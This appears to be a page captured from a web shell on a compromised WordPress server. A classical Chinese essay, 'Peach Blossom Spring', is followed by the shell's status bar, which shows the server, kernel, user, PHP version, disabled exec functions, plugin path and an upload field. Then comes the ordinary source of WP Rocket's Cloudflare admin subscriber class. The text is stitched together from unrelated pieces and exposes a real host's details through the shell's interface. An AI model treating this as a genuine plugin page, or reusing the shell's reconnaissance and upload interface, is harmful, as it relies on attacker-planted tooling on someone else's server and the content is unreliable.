晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/rainic/www/oldTZh/wp-content/plugins/wp-rocket/inc/Addon/Cloudflare/Admin/ |
Upload File : |
<?php
declare(strict_types=1);
namespace WP_Rocket\Addon\Cloudflare\Admin;
use WP_Rocket\Engine\Admin\Settings\Settings;
use WP_Rocket\Event_Management\Subscriber_Interface;
class Subscriber implements Subscriber_Interface {
/**
* Returns an array of events that this subscriber wants to listen to.
*/
public static function get_subscribed_events() {
return [
'admin_notices' => [
[ 'maybe_display_purge_notice' ],
[ 'maybe_display_update_settings_notice' ],
],
'rocket_input_sanitize' => [ 'sanitize_options', 20, 2 ],
];
}
/**
* This notice is displayed after purging the CloudFlare cache.
*
* @return void
*/
public function maybe_display_purge_notice() {
if ( ! current_user_can( 'rocket_purge_cloudflare_cache' ) ) {
return;
}
$user_id = get_current_user_id();
$notice = get_transient( $user_id . '_cloudflare_purge_result' );
if ( ! $notice ) {
return;
}
delete_transient( $user_id . '_cloudflare_purge_result' );
rocket_notice_html(
[
'status' => $notice['result'],
'message' => $notice['message'],
]
);
}
/**
* This notice is displayed after modifying the CloudFlare settings.
*
* @return void
*/
public function maybe_display_update_settings_notice() {
$screen = get_current_screen();
if ( ! current_user_can( 'rocket_manage_options' ) || 'settings_page_wprocket' !== $screen->id ) {
return;
}
$user_id = get_current_user_id();
$notices = get_transient( $user_id . '_cloudflare_update_settings' );
if ( ! $notices ) {
return;
}
$errors = '';
$success = '';
$pre = '';
delete_transient( $user_id . '_cloudflare_update_settings' );
if ( isset( $notices['pre'] ) ) {
$pre = $notices['pre'];
unset( $notices['pre'] );
}
foreach ( $notices as $notice ) {
if ( 'error' === $notice['result'] ) {
$errors .= $notice['message'] . '<br>';
} elseif ( 'success' === $notice['result'] ) {
$success .= $notice['message'] . '<br>';
}
}
if ( ! empty( $success ) ) {
rocket_notice_html(
[
'message' => $pre . $success,
]
);
}
if ( ! empty( $errors ) ) {
rocket_notice_html(
[
'status' => 'error',
'message' => $errors,
]
);
}
}
/**
* Sanitize Cloudflare options
*
* @param array $input gtArray of sanitized values after being submitted by the form.
* @param Settings $settings Settings instance.
*
* @return array
*/
public function sanitize_options( $input, $settings ) {
$input['do_cloudflare'] = $settings->sanitize_checkbox( $input, 'do_cloudflare' );
$input['cloudflare_devmode'] = $settings->sanitize_checkbox( $input, 'cloudflare_devmode' );
$input['cloudflare_auto_settings'] = $settings->sanitize_checkbox( $input, 'cloudflare_auto_settings' );
$input['cloudflare_protocol_rewrite'] = $settings->sanitize_checkbox( $input, 'cloudflare_protocol_rewrite' );
$input['cloudflare_email'] = isset( $input['cloudflare_email'] ) ? sanitize_email( $input['cloudflare_email'] ) : '';
$input['cloudflare_zone_id'] = isset( $input['cloudflare_zone_id'] ) ? sanitize_text_field( $input['cloudflare_zone_id'] ) : '';
$input['cloudflare_api_key'] = isset( $input['cloudflare_api_key'] ) ? sanitize_text_field( $input['cloudflare_api_key'] ) : '';
if ( defined( 'WP_ROCKET_CF_API_KEY' ) ) {
$input['cloudflare_api_key'] = rocket_get_constant( 'WP_ROCKET_CF_API_KEY', '' );
}
return $input;
}
}